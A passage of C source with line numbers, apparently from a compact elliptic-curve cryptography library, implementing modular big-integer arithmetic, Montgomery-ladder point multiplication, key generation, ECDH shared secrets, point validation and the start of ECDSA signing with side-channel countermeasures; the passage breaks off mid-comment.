408 muladd(left[i], right[k - i], &r0, &r1, &r2);
409 }
410 result[k] = r0;
411 r0 = r1;
412 r1 = r2;
413 r2 = 0;
414 }
415 result[num_words * 2 - 1] = r0;
416 }
417 #endif /* !asm_mult */
418
419 #if uECC_SQUARE_FUNC
420
421 #if !asm_square
422 static void mul2add(uECC_word_t a,
423 uECC_word_t b,
424 uECC_word_t *r0,
425 uECC_word_t *r1,
426 uECC_word_t *r2) {
427 #if uECC_WORD_SIZE == 8 && !SUPPORTS_INT128
428 uint64_t a0 = a & 0xffffffffull;
429 uint64_t a1 = a >> 32;
430 uint64_t b0 = b & 0xffffffffull;
431 uint64_t b1 = b >> 32;
432
433 uint64_t i0 = a0 * b0;
434 uint64_t i1 = a0 * b1;
435 uint64_t i2 = a1 * b0;
436 uint64_t i3 = a1 * b1;
437
438 uint64_t p0, p1;
439
440 i2 += (i0 >> 32);
441 i2 += i1;
442 if (i2 < i1)
443 { /* overflow */
444 i3 += 0x100000000ull;
445 }
446
447 p0 = (i0 & 0xffffffffull) | (i2 << 32);
448 p1 = i3 + (i2 >> 32);
449
450 *r2 += (p1 >> 63);
451 p1 = (p1 << 1) | (p0 >> 63);
452 p0 <<= 1;
453
454 *r0 += p0;
455 *r1 += (p1 + (*r0 < p0));
456 *r2 += ((*r1 < p1) || (*r1 == p1 && *r0 < p0));
457 #else
458 uECC_dword_t p = (uECC_dword_t)a * b;
459 uECC_dword_t r01 = ((uECC_dword_t)(*r1) << uECC_WORD_BITS) | *r0;
460 *r2 += (p >> (uECC_WORD_BITS * 2 - 1));
461 p *= 2;
462 r01 += p;
463 *r2 += (r01 < p);
464 *r1 = r01 >> uECC_WORD_BITS;
465 *r0 = (uECC_word_t)r01;
466 #endif
467 }
468
469 uECC_VLI_API void uECC_vli_square(uECC_word_t *result,
470 const uECC_word_t *left,
471 wordcount_t num_words) {
472 uECC_word_t r0 = 0;
473 uECC_word_t r1 = 0;
474 uECC_word_t r2 = 0;
475
476 wordcount_t i, k;
477
478 for (k = 0; k < num_words * 2 - 1; ++k) {
479 uECC_word_t min = (k < num_words ? 0 : (k + 1) - num_words);
480 for (i = min; i <= k && i <= k - i; ++i) {
481 if (i < k-i) {
482 mul2add(left[i], left[k - i], &r0, &r1, &r2);
483 } else {
484 muladd(left[i], left[k - i], &r0, &r1, &r2);
485 }
486 }
487 result[k] = r0;
488 r0 = r1;
489 r1 = r2;
490 r2 = 0;
491 }
492
493 result[num_words * 2 - 1] = r0;
494 }
495 #endif /* !asm_square */
496
497 #else /* uECC_SQUARE_FUNC */
498
499 #if uECC_ENABLE_VLI_API
500 uECC_VLI_API void uECC_vli_square(uECC_word_t *result,
501 const uECC_word_t *left,
502 wordcount_t num_words) {
503 uECC_vli_mult(result, left, left, num_words);
504 }
505 #endif /* uECC_ENABLE_VLI_API */
506
507 #endif /* uECC_SQUARE_FUNC */
508
509 /* Computes result = (left + right) % mod.
510 Assumes that left < mod and right < mod, and that result does not overlap mod. */
511 uECC_VLI_API void uECC_vli_modAdd(uECC_word_t *result,
512 const uECC_word_t *left,
513 const uECC_word_t *right,
514 const uECC_word_t *mod,
515 wordcount_t num_words) {
516 uECC_word_t carry = uECC_vli_add(result, left, right, num_words);
517 if (carry || uECC_vli_cmp_unsafe(mod, result, num_words) != 1) {
518 /* result > mod (result = mod + remainder), so subtract mod to get remainder. */
519 uECC_vli_sub(result, result, mod, num_words);
520 }
521 }
522
523 /* Computes result = (left - right) % mod.
524 Assumes that left < mod and right < mod, and that result does not overlap mod. */
525 uECC_VLI_API void uECC_vli_modSub(uECC_word_t *result,
526 const uECC_word_t *left,
527 const uECC_word_t *right,
528 const uECC_word_t *mod,
529 wordcount_t num_words) {
530 uECC_word_t l_borrow = uECC_vli_sub(result, left, right, num_words);
531 if (l_borrow) {
532 /* In this case, result == -diff == (max int) - diff. Since -x % d == d - x,
533 we can get the correct result from result + mod (with overflow). */
534 uECC_vli_add(result, result, mod, num_words);
535 }
536 }
537
538 /* Computes result = product % mod, where product is 2N words long. */
539 /* Currently only designed to work for curve_p or curve_n. */
540 uECC_VLI_API void uECC_vli_mmod(uECC_word_t *result,
541 uECC_word_t *product,
542 const uECC_word_t *mod,
543 wordcount_t num_words) {
544 uECC_word_t mod_multiple[2 * uECC_MAX_WORDS];
545 uECC_word_t tmp[2 * uECC_MAX_WORDS];
546 uECC_word_t *v[2] = {tmp, product};
547 uECC_word_t index;
548
549 /* Shift mod so its highest set bit is at the maximum position. */
550 bitcount_t shift = (num_words * 2 * uECC_WORD_BITS) - uECC_vli_numBits(mod, num_words);
551 wordcount_t word_shift = shift / uECC_WORD_BITS;
552 wordcount_t bit_shift = shift % uECC_WORD_BITS;
553 uECC_word_t carry = 0;
554 uECC_vli_clear(mod_multiple, word_shift);
555 if (bit_shift > 0) {
556 for(index = 0; index < (uECC_word_t)num_words; ++index) {
557 mod_multiple[word_shift + index] = (mod[index] << bit_shift) | carry;
558 carry = mod[index] >> (uECC_WORD_BITS - bit_shift);
559 }
560 } else {
561 uECC_vli_set(mod_multiple + word_shift, mod, num_words);
562 }
563
564 for (index = 1; shift >= 0; --shift) {
565 uECC_word_t borrow = 0;
566 wordcount_t i;
567 for (i = 0; i < num_words * 2; ++i) {
568 uECC_word_t diff = v[index][i] - mod_multiple[i] - borrow;
569 if (diff != v[index][i]) {
570 borrow = (diff > v[index][i]);
571 }
572 v[1 - index][i] = diff;
573 }
574 index = !(index ^ borrow); /* Swap the index if there was no borrow */
575 uECC_vli_rshift1(mod_multiple, num_words);
576 mod_multiple[num_words - 1] |= mod_multiple[num_words] << (uECC_WORD_BITS - 1);
577 uECC_vli_rshift1(mod_multiple + num_words, num_words);
578 }
579 uECC_vli_set(result, v[index], num_words);
580 }
581
582 /* Computes result = (left * right) % mod. */
583 uECC_VLI_API void uECC_vli_modMult(uECC_word_t *result,
584 const uECC_word_t *left,
585 const uECC_word_t *right,
586 const uECC_word_t *mod,
587 wordcount_t num_words) {
588 uECC_word_t product[2 * uECC_MAX_WORDS];
589 uECC_vli_mult(product, left, right, num_words);
590 uECC_vli_mmod(result, product, mod, num_words);
591 }
592
593 uECC_VLI_API void uECC_vli_modMult_fast(uECC_word_t *result,
594 const uECC_word_t *left,
595 const uECC_word_t *right,
596 uECC_Curve curve) {
597 uECC_word_t product[2 * uECC_MAX_WORDS];
598 uECC_vli_mult(product, left, right, curve->num_words);
599 #if (uECC_OPTIMIZATION_LEVEL > 0)
600 curve->mmod_fast(result, product);
601 #else
602 uECC_vli_mmod(result, product, curve->p, curve->num_words);
603 #endif
604 }
605
606 #if uECC_SQUARE_FUNC
607
608 #if uECC_ENABLE_VLI_API
609 /* Computes result = left^2 % mod. */
610 uECC_VLI_API void uECC_vli_modSquare(uECC_word_t *result,
611 const uECC_word_t *left,
612 const uECC_word_t *mod,
613 wordcount_t num_words) {
614 uECC_word_t product[2 * uECC_MAX_WORDS];
615 uECC_vli_square(product, left, num_words);
616 uECC_vli_mmod(result, product, mod, num_words);
617 }
618 #endif /* uECC_ENABLE_VLI_API */
619
620 uECC_VLI_API void uECC_vli_modSquare_fast(uECC_word_t *result,
621 const uECC_word_t *left,
622 uECC_Curve curve) {
623 uECC_word_t product[2 * uECC_MAX_WORDS];
624 uECC_vli_square(product, left, curve->num_words);
625 #if (uECC_OPTIMIZATION_LEVEL > 0)
626 curve->mmod_fast(result, product);
627 #else
628 uECC_vli_mmod(result, product, curve->p, curve->num_words);
629 #endif
630 }
631
632 #else /* uECC_SQUARE_FUNC */
633
634 #if uECC_ENABLE_VLI_API
635 uECC_VLI_API void uECC_vli_modSquare(uECC_word_t *result,
636 const uECC_word_t *left,
637 const uECC_word_t *mod,
638 wordcount_t num_words) {
639 uECC_vli_modMult(result, left, left, mod, num_words);
640 }
641 #endif /* uECC_ENABLE_VLI_API */
642
643 uECC_VLI_API void uECC_vli_modSquare_fast(uECC_word_t *result,
644 const uECC_word_t *left,
645 uECC_Curve curve) {
646 uECC_vli_modMult_fast(result, left, left, curve);
647 }
648
649 #endif /* uECC_SQUARE_FUNC */
650
651 #define EVEN(vli) (!(vli[0] & 1))
652 static void vli_modInv_update(uECC_word_t *uv,
653 const uECC_word_t *mod,
654 wordcount_t num_words) {
655 uECC_word_t carry = 0;
656 if (!EVEN(uv)) {
657 carry = uECC_vli_add(uv, uv, mod, num_words);
658 }
659 uECC_vli_rshift1(uv, num_words);
660 if (carry) {
661 uv[num_words - 1] |= HIGH_BIT_SET;
662 }
663 }
664
665 /* Computes result = (1 / input) % mod. All VLIs are the same size.
666 See "From Euclid's GCD to Montgomery Multiplication to the Great Divide" */
667 uECC_VLI_API void uECC_vli_modInv(uECC_word_t *result,
668 const uECC_word_t *input,
669 const uECC_word_t *mod,
670 wordcount_t num_words) {
671 uECC_word_t a[uECC_MAX_WORDS], b[uECC_MAX_WORDS], u[uECC_MAX_WORDS], v[uECC_MAX_WORDS];
672 cmpresult_t cmpResult;
673
674 if (uECC_vli_isZero(input, num_words)) {
675 uECC_vli_clear(result, num_words);
676 return;
677 }
678
679 uECC_vli_set(a, input, num_words);
680 uECC_vli_set(b, mod, num_words);
681 uECC_vli_clear(u, num_words);
682 u[0] = 1;
683 uECC_vli_clear(v, num_words);
684 while ((cmpResult = uECC_vli_cmp_unsafe(a, b, num_words)) != 0) {
685 if (EVEN(a)) {
686 uECC_vli_rshift1(a, num_words);
687 vli_modInv_update(u, mod, num_words);
688 } else if (EVEN(b)) {
689 uECC_vli_rshift1(b, num_words);
690 vli_modInv_update(v, mod, num_words);
691 } else if (cmpResult > 0) {
692 uECC_vli_sub(a, a, b, num_words);
693 uECC_vli_rshift1(a, num_words);
694 if (uECC_vli_cmp_unsafe(u, v, num_words) < 0) {
695 uECC_vli_add(u, u, mod, num_words);
696 }
697 uECC_vli_sub(u, u, v, num_words);
698 vli_modInv_update(u, mod, num_words);
699 } else {
700 uECC_vli_sub(b, b, a, num_words);
701 uECC_vli_rshift1(b, num_words);
702 if (uECC_vli_cmp_unsafe(v, u, num_words) < 0) {
703 uECC_vli_add(v, v, mod, num_words);
704 }
705 uECC_vli_sub(v, v, u, num_words);
706 vli_modInv_update(v, mod, num_words);
707 }
708 }
709 uECC_vli_set(result, u, num_words);
710 }
711
712 /* ------ Point operations ------ */
713
714 #include "curve-specific.inc"
715
716 /* Returns 1 if 'point' is the point at infinity, 0 otherwise. */
717 #define EccPoint_isZero(point, curve) uECC_vli_isZero((point), (curve)->num_words * 2)
718
719 /* Point multiplication algorithm using Montgomery's ladder with co-Z coordinates.
720 From http://eprint.iacr.org/2011/338.pdf
721 */
722
723 /* Modify (x1, y1) => (x1 * z^2, y1 * z^3) */
724 static void apply_z(uECC_word_t * X1,
725 uECC_word_t * Y1,
726 const uECC_word_t * const Z,
727 uECC_Curve curve) {
728 uECC_word_t t1[uECC_MAX_WORDS];
729
730 uECC_vli_modSquare_fast(t1, Z, curve); /* z^2 */
731 uECC_vli_modMult_fast(X1, X1, t1, curve); /* x1 * z^2 */
732 uECC_vli_modMult_fast(t1, t1, Z, curve); /* z^3 */
733 uECC_vli_modMult_fast(Y1, Y1, t1, curve); /* y1 * z^3 */
734 }
735
736 /* P = (x1, y1) => 2P, (x2, y2) => P' */
737 static void XYcZ_initial_double(uECC_word_t * X1,
738 uECC_word_t * Y1,
739 uECC_word_t * X2,
740 uECC_word_t * Y2,
741 const uECC_word_t * const initial_Z,
742 uECC_Curve curve) {
743 uECC_word_t z[uECC_MAX_WORDS];
744 wordcount_t num_words = curve->num_words;
745 if (initial_Z) {
746 uECC_vli_set(z, initial_Z, num_words);
747 } else {
748 uECC_vli_clear(z, num_words);
749 z[0] = 1;
750 }
751
752 uECC_vli_set(X2, X1, num_words);
753 uECC_vli_set(Y2, Y1, num_words);
754
755 apply_z(X1, Y1, z, curve);
756 curve->double_jacobian(X1, Y1, z, curve);
757 apply_z(X2, Y2, z, curve);
758 }
759
760 /* Input P = (x1, y1, Z), Q = (x2, y2, Z)
761 Output P' = (x1', y1', Z3), P + Q = (x3, y3, Z3)
762 or P => P', Q => P + Q
763 */
764 static void XYcZ_add(uECC_word_t * X1,
765 uECC_word_t * Y1,
766 uECC_word_t * X2,
767 uECC_word_t * Y2,
768 uECC_Curve curve) {
769 /* t1 = X1, t2 = Y1, t3 = X2, t4 = Y2 */
770 uECC_word_t t5[uECC_MAX_WORDS];
771 wordcount_t num_words = curve->num_words;
772
773 uECC_vli_modSub(t5, X2, X1, curve->p, num_words); /* t5 = x2 - x1 */
774 uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = (x2 - x1)^2 = A */
775 uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = x1*A = B */
776 uECC_vli_modMult_fast(X2, X2, t5, curve); /* t3 = x2*A = C */
777 uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y2 - y1 */
778 uECC_vli_modSquare_fast(t5, Y2, curve); /* t5 = (y2 - y1)^2 = D */
779
780 uECC_vli_modSub(t5, t5, X1, curve->p, num_words); /* t5 = D - B */
781 uECC_vli_modSub(t5, t5, X2, curve->p, num_words); /* t5 = D - B - C = x3 */
782 uECC_vli_modSub(X2, X2, X1, curve->p, num_words); /* t3 = C - B */
783 uECC_vli_modMult_fast(Y1, Y1, X2, curve); /* t2 = y1*(C - B) */
784 uECC_vli_modSub(X2, X1, t5, curve->p, num_words); /* t3 = B - x3 */
785 uECC_vli_modMult_fast(Y2, Y2, X2, curve); /* t4 = (y2 - y1)*(B - x3) */
786 uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y3 */
787
788 uECC_vli_set(X2, t5, num_words);
789 }
790
791 /* Input P = (x1, y1, Z), Q = (x2, y2, Z)
792 Output P + Q = (x3, y3, Z3), P - Q = (x3', y3', Z3)
793 or P => P - Q, Q => P + Q
794 */
795 static void XYcZ_addC(uECC_word_t * X1,
796 uECC_word_t * Y1,
797 uECC_word_t * X2,
798 uECC_word_t * Y2,
799 uECC_Curve curve) {
800 /* t1 = X1, t2 = Y1, t3 = X2, t4 = Y2 */
801 uECC_word_t t5[uECC_MAX_WORDS];
802 uECC_word_t t6[uECC_MAX_WORDS];
803 uECC_word_t t7[uECC_MAX_WORDS];
804 wordcount_t num_words = curve->num_words;
805
806 uECC_vli_modSub(t5, X2, X1, curve->p, num_words); /* t5 = x2 - x1 */
807 uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = (x2 - x1)^2 = A */
808 uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = x1*A = B */
809 uECC_vli_modMult_fast(X2, X2, t5, curve); /* t3 = x2*A = C */
810 uECC_vli_modAdd(t5, Y2, Y1, curve->p, num_words); /* t5 = y2 + y1 */
811 uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y2 - y1 */
812
813 uECC_vli_modSub(t6, X2, X1, curve->p, num_words); /* t6 = C - B */
814 uECC_vli_modMult_fast(Y1, Y1, t6, curve); /* t2 = y1 * (C - B) = E */
815 uECC_vli_modAdd(t6, X1, X2, curve->p, num_words); /* t6 = B + C */
816 uECC_vli_modSquare_fast(X2, Y2, curve); /* t3 = (y2 - y1)^2 = D */
817 uECC_vli_modSub(X2, X2, t6, curve->p, num_words); /* t3 = D - (B + C) = x3 */
818
819 uECC_vli_modSub(t7, X1, X2, curve->p, num_words); /* t7 = B - x3 */
820 uECC_vli_modMult_fast(Y2, Y2, t7, curve); /* t4 = (y2 - y1)*(B - x3) */
821 uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = (y2 - y1)*(B - x3) - E = y3 */
822
823 uECC_vli_modSquare_fast(t7, t5, curve); /* t7 = (y2 + y1)^2 = F */
824 uECC_vli_modSub(t7, t7, t6, curve->p, num_words); /* t7 = F - (B + C) = x3' */
825 uECC_vli_modSub(t6, t7, X1, curve->p, num_words); /* t6 = x3' - B */
826 uECC_vli_modMult_fast(t6, t6, t5, curve); /* t6 = (y2+y1)*(x3' - B) */
827 uECC_vli_modSub(Y1, t6, Y1, curve->p, num_words); /* t2 = (y2+y1)*(x3' - B) - E = y3' */
828
829 uECC_vli_set(X1, t7, num_words);
830 }
831
832 /* result may overlap point. */
833 static void EccPoint_mult(uECC_word_t * result,
834 const uECC_word_t * point,
835 const uECC_word_t * scalar,
836 const uECC_word_t * initial_Z,
837 bitcount_t num_bits,
838 uECC_Curve curve) {
839 /* R0 and R1 */
840 uECC_word_t Rx[2][uECC_MAX_WORDS];
841 uECC_word_t Ry[2][uECC_MAX_WORDS];
842 uECC_word_t z[uECC_MAX_WORDS];
843 bitcount_t i;
844 uECC_word_t nb;
845 wordcount_t num_words = curve->num_words;
846
847 uECC_vli_set(Rx[1], point, num_words);
848 uECC_vli_set(Ry[1], point + num_words, num_words);
849
850 XYcZ_initial_double(Rx[1], Ry[1], Rx[0], Ry[0], initial_Z, curve);
851
852 for (i = num_bits - 2; i > 0; --i) {
853 nb = !uECC_vli_testBit(scalar, i);
854 XYcZ_addC(Rx[1 - nb], Ry[1 - nb], Rx[nb], Ry[nb], curve);
855 XYcZ_add(Rx[nb], Ry[nb], Rx[1 - nb], Ry[1 - nb], curve);
856 }
857
858 nb = !uECC_vli_testBit(scalar, 0);
859 XYcZ_addC(Rx[1 - nb], Ry[1 - nb], Rx[nb], Ry[nb], curve);
860
861 /* Find final 1/Z value. */
862 uECC_vli_modSub(z, Rx[1], Rx[0], curve->p, num_words); /* X1 - X0 */
863 uECC_vli_modMult_fast(z, z, Ry[1 - nb], curve); /* Yb * (X1 - X0) */
864 uECC_vli_modMult_fast(z, z, point, curve); /* xP * Yb * (X1 - X0) */
865 uECC_vli_modInv(z, z, curve->p, num_words); /* 1 / (xP * Yb * (X1 - X0)) */
866 /* yP / (xP * Yb * (X1 - X0)) */
867 uECC_vli_modMult_fast(z, z, point + num_words, curve);
868 uECC_vli_modMult_fast(z, z, Rx[1 - nb], curve); /* Xb * yP / (xP * Yb * (X1 - X0)) */
869 /* End 1/Z calculation */
870
871 XYcZ_add(Rx[nb], Ry[nb], Rx[1 - nb], Ry[1 - nb], curve);
872 apply_z(Rx[0], Ry[0], z, curve);
873
874 uECC_vli_set(result, Rx[0], num_words);
875 uECC_vli_set(result + num_words, Ry[0], num_words);
876 }
877
878 static uECC_word_t regularize_k(const uECC_word_t * const k,
879 uECC_word_t *k0,
880 uECC_word_t *k1,
881 uECC_Curve curve) {
882 wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits);
883 bitcount_t num_n_bits = curve->num_n_bits;
884 uECC_word_t carry = uECC_vli_add(k0, k, curve->n, num_n_words) ||
885 (num_n_bits < ((bitcount_t)num_n_words * uECC_WORD_SIZE * 8) &&
886 uECC_vli_testBit(k0, num_n_bits));
887 uECC_vli_add(k1, k0, curve->n, num_n_words);
888 return carry;
889 }
890
891 static uECC_word_t EccPoint_compute_public_key(uECC_word_t *result,
892 uECC_word_t *private,
893 uECC_Curve curve) {
894 uECC_word_t tmp1[uECC_MAX_WORDS];
895 uECC_word_t tmp2[uECC_MAX_WORDS];
896 uECC_word_t *p2[2] = {tmp1, tmp2};
897 uECC_word_t carry;
898
899 /* Regularize the bitcount for the private key so that attackers cannot use a side channel
900 attack to learn the number of leading zeros. */
901 carry = regularize_k(private, tmp1, tmp2, curve);
902
903 EccPoint_mult(result, curve->G, p2[!carry], 0, curve->num_n_bits + 1, curve);
904
905 if (EccPoint_isZero(result, curve)) {
906 return 0;
907 }
908 return 1;
909 }
910
911 #if uECC_WORD_SIZE == 1
912
913 uECC_VLI_API void uECC_vli_nativeToBytes(uint8_t *bytes,
914 int num_bytes,
915 const uint8_t *native) {
916 wordcount_t i;
917 for (i = 0; i < num_bytes; ++i) {
918 bytes[i] = native[(num_bytes - 1) - i];
919 }
920 }
921
922 uECC_VLI_API void uECC_vli_bytesToNative(uint8_t *native,
923 const uint8_t *bytes,
924 int num_bytes) {
925 uECC_vli_nativeToBytes(native, num_bytes, bytes);
926 }
927
928 #else
929
930 uECC_VLI_API void uECC_vli_nativeToBytes(uint8_t *bytes,
931 int num_bytes,
932 const uECC_word_t *native) {
933 wordcount_t i;
934 for (i = 0; i < num_bytes; ++i) {
935 unsigned b = num_bytes - 1 - i;
936 bytes[i] = native[b / uECC_WORD_SIZE] >> (8 * (b % uECC_WORD_SIZE));
937 }
938 }
939
940 uECC_VLI_API void uECC_vli_bytesToNative(uECC_word_t *native,
941 const uint8_t *bytes,
942 int num_bytes) {
943 wordcount_t i;
944 uECC_vli_clear(native, (num_bytes + (uECC_WORD_SIZE - 1)) / uECC_WORD_SIZE);
945 for (i = 0; i < num_bytes; ++i) {
946 unsigned b = num_bytes - 1 - i;
947 native[b / uECC_WORD_SIZE] |=
948 (uECC_word_t)bytes[i] << (8 * (b % uECC_WORD_SIZE));
949 }
950 }
951
952 #endif /* uECC_WORD_SIZE */
953
954 /* Generates a random integer in the range 0 < random < top.
955 Both random and top have num_words words. */
956 uECC_VLI_API int uECC_generate_random_int(uECC_word_t *random,
957 const uECC_word_t *top,
958 wordcount_t num_words) {
959 uECC_word_t mask = (uECC_word_t)-1;
960 uECC_word_t tries;
961 bitcount_t num_bits = uECC_vli_numBits(top, num_words);
962
963 if (!g_rng_function) {
964 return 0;
965 }
966
967 for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) {
968 if (!g_rng_function((uint8_t *)random, num_words * uECC_WORD_SIZE)) {
969 return 0;
970 }
971 random[num_words - 1] &= mask >> ((bitcount_t)(num_words * uECC_WORD_SIZE * 8 - num_bits));
972 if (!uECC_vli_isZero(random, num_words) &&
973 uECC_vli_cmp(top, random, num_words) == 1) {
974 return 1;
975 }
976 }
977 return 0;
978 }
979
980 int uECC_make_key(uint8_t *public_key,
981 uint8_t *private_key,
982 uECC_Curve curve) {
983 uECC_word_t private[uECC_MAX_WORDS];
984 uECC_word_t public[uECC_MAX_WORDS * 2];
985 uECC_word_t tries;
986
987 for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) {
988 if (!uECC_generate_random_int(private, curve->n, BITS_TO_WORDS(curve->num_n_bits))) {
989 return 0;
990 }
991
992 if (EccPoint_compute_public_key(public, private, curve)) {
993 uECC_vli_nativeToBytes(private_key, BITS_TO_BYTES(curve->num_n_bits), private);
994 uECC_vli_nativeToBytes(public_key, curve->num_bytes, public);
995 uECC_vli_nativeToBytes(
996 public_key + curve->num_bytes, curve->num_bytes, public + curve->num_words);
997 return 1;
998 }
999 }
1000 return 0;
1001 }
1002
1003 int uECC_shared_secret(const uint8_t *public_key,
1004 const uint8_t *private_key,
1005 uint8_t *secret,
1006 uECC_Curve curve) {
1007 uECC_word_t public[uECC_MAX_WORDS * 2];
1008 uECC_word_t private[uECC_MAX_WORDS];
1009 uECC_word_t tmp[uECC_MAX_WORDS];
1010 uECC_word_t *p2[2] = {private, tmp};
1011 uECC_word_t *initial_Z = 0;
1012 uECC_word_t carry;
1013 wordcount_t num_words = curve->num_words;
1014 wordcount_t num_bytes = curve->num_bytes;
1015
1016 uECC_vli_bytesToNative(private, private_key, BITS_TO_BYTES(curve->num_n_bits));
1017 uECC_vli_bytesToNative(public, public_key, num_bytes);
1018 uECC_vli_bytesToNative(public + num_words, public_key + num_bytes, num_bytes);
1019
1020 /* Regularize the bitcount for the private key so that attackers cannot use a side channel
1021 attack to learn the number of leading zeros. */
1022 carry = regularize_k(private, private, tmp, curve);
1023
1024 /* If an RNG function was specified, try to get a random initial Z value to improve
1025 protection against side-channel attacks. */
1026 if (g_rng_function) {
1027 if (!uECC_generate_random_int(p2[carry], curve->p, num_words)) {
1028 return 0;
1029 }
1030 initial_Z = p2[carry];
1031 }
1032
1033 EccPoint_mult(public, public, p2[!carry], initial_Z, curve->num_n_bits + 1, curve);
1034 uECC_vli_nativeToBytes(secret, num_bytes, public);
1035 return !EccPoint_isZero(public, curve);
1036 }
1037
1038 #if uECC_SUPPORT_COMPRESSED_POINT
1039 void uECC_compress(const uint8_t *public_key, uint8_t *compressed, uECC_Curve curve) {
1040 wordcount_t i;
1041 for (i = 0; i < curve->num_bytes; ++i) {
1042 compressed[i+1] = public_key[i];
1043 }
1044 compressed[0] = 2 + (public_key[curve->num_bytes * 2 - 1] & 0x01);
1045 }
1046
1047 void uECC_decompress(const uint8_t *compressed, uint8_t *public_key, uECC_Curve curve) {
1048 uECC_word_t point[uECC_MAX_WORDS * 2];
1049 uECC_word_t *y = point + curve->num_words;
1050 uECC_vli_bytesToNative(point, compressed + 1, curve->num_bytes);
1051 curve->x_side(y, point, curve);
1052 curve->mod_sqrt(y, curve);
1053
1054 if ((y[0] & 0x01) != (compressed[0] & 0x01)) {
1055 uECC_vli_sub(y, curve->p, y, curve->num_words);
1056 }
1057
1058 uECC_vli_nativeToBytes(public_key, curve->num_bytes, point);
1059 uECC_vli_nativeToBytes(public_key + curve->num_bytes, curve->num_bytes, y);
1060 }
1061 #endif /* uECC_SUPPORT_COMPRESSED_POINT */
1062
1063 int uECC_valid_point(const uECC_word_t *point, uECC_Curve curve) {
1064 uECC_word_t tmp1[uECC_MAX_WORDS];
1065 uECC_word_t tmp2[uECC_MAX_WORDS];
1066 wordcount_t num_words = curve->num_words;
1067
1068 /* The point at infinity is invalid. */
1069 if (EccPoint_isZero(point, curve)) {
1070 return 0;
1071 }
1072
1073 /* x and y must be smaller than p. */
1074 if (uECC_vli_cmp_unsafe(curve->p, point, num_words) != 1 ||
1075 uECC_vli_cmp_unsafe(curve->p, point + num_words, num_words) != 1) {
1076 return 0;
1077 }
1078
1079 uECC_vli_modSquare_fast(tmp1, point + num_words, curve);
1080 curve->x_side(tmp2, point, curve); /* tmp2 = x^3 + ax + b */
1081
1082 /* Make sure that y^2 == x^3 + ax + b */
1083 return (int)(uECC_vli_equal(tmp1, tmp2, num_words));
1084 }
1085
1086 int uECC_valid_public_key(const uint8_t *public_key, uECC_Curve curve) {
1087 uECC_word_t public[uECC_MAX_WORDS * 2];
1088
1089 uECC_vli_bytesToNative(public, public_key, curve->num_bytes);
1090 uECC_vli_bytesToNative(
1091 public + curve->num_words, public_key + curve->num_bytes, curve->num_bytes);
1092 return uECC_valid_point(public, curve);
1093 }
1094
1095 int uECC_compute_public_key(const uint8_t *private_key, uint8_t *public_key, uECC_Curve curve) {
1096 uECC_word_t private[uECC_MAX_WORDS];
1097 uECC_word_t public[uECC_MAX_WORDS * 2];
1098
1099 uECC_vli_bytesToNative(private, private_key, BITS_TO_BYTES(curve->num_n_bits));
1100
1101 /* Make sure the private key is in the range [1, n-1]. */
1102 if (uECC_vli_isZero(private, BITS_TO_WORDS(curve->num_n_bits))) {
1103 return 0;
1104 }
1105
1106 if (uECC_vli_cmp(curve->n, private, BITS_TO_WORDS(curve->num_n_bits)) != 1) {
1107 return 0;
1108 }
1109
1110 /* Compute public key. */
1111 if (!EccPoint_compute_public_key(public, private, curve)) {
1112 return 0;
1113 }
1114
1115 uECC_vli_nativeToBytes(public_key, curve->num_bytes, public);
1116 uECC_vli_nativeToBytes(
1117 public_key + curve->num_bytes, curve->num_bytes, public + curve->num_words);
1118 return 1;
1119 }
1120
1121
1122 /* -------- ECDSA code -------- */
1123
1124 static void bits2int(uECC_word_t *native,
1125 const uint8_t *bits,
1126 unsigned bits_size,
1127 uECC_Curve curve) {
1128 unsigned num_n_bytes = BITS_TO_BYTES(curve->num_n_bits);
1129 unsigned num_n_words = BITS_TO_WORDS(curve->num_n_bits);
1130 int shift;
1131 uECC_word_t carry;
1132 uECC_word_t *ptr;
1133
1134 if (bits_size > num_n_bytes) {
1135 bits_size = num_n_bytes;
1136 }
1137 uECC_vli_clear(native, num_n_words);
1138 uECC_vli_bytesToNative(native, bits, bits_size);
1139 if (bits_size * 8 <= (unsigned)curve->num_n_bits) {
1140 return;
1141 }
1142 shift = bits_size * 8 - curve->num_n_bits;
1143 carry = 0;
1144 ptr = native + num_n_words;
1145 while (ptr-- > native) {
1146 uECC_word_t temp = *ptr;
1147 *ptr = (temp >> shift) | carry;
1148 carry = temp << (uECC_WORD_BITS - shift);
1149 }
1150
1151 /* Reduce mod curve_n */
1152 if (uECC_vli_cmp_unsafe(curve->n, native, num_n_words) != 1) {
1153 uECC_vli_sub(native, native, curve->n, num_n_words);
1154 }
1155 }
1156
1157 static int uECC_sign_with_k(const uint8_t *private_key,
1158 const uint8_t *message_hash,
1159 unsigned hash_size,
1160 uECC_word_t *k,
1161 uint8_t *signature,
1162 uECC_Curve curve) {
1163 uECC_word_t tmp[uECC_MAX_WORDS];
1164 uECC_word_t s[uECC_MAX_WORDS];
1165 uECC_word_t *k2[2] = {tmp, s};
1166 uECC_word_t p[uECC_MAX_WORDS * 2];
1167 uECC_word_t carry;
1168 wordcount_t num_words = curve->num_words;
1169 wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits);
1170 bitcount_t num_n_bits = curve->num_n_bits;
1171
1172 /* Make sure 0 < k < curve_n */
1173 if (uECC_vli_isZero(k, num_words) || uECC_vli_cmp(curve->n, k, num_n_words) != 1) {
1174 return 0;
1175 }
1176
1177 carry = regularize_k(k, tmp, s, curve);
1178 EccPoint_mult(p, curve->G, k2[!carry], 0, num_n_bits + 1, curve);
1179 if (uECC_vli_isZero(p, num_words)) {
1180 return 0;
1181 }
1182
1183 /* If an RNG function was specified, get a random number
1184 to prevent side channel analysis of k. */
1185 if (!g_rng_function) {
1186 uECC_vli_clear(tmp, num_n_words);
1187 tmp[0] = 1;
1188 } else if (!uECC_generate_random_int(tmp, curve->n, num_n_words)) {
1189 return 0;
1190 }
1191
1192 /* Prevent side channel analysis of uECC_vli_modInv() to determine
1193 bits of k / the private key by premultiplying by a random number */
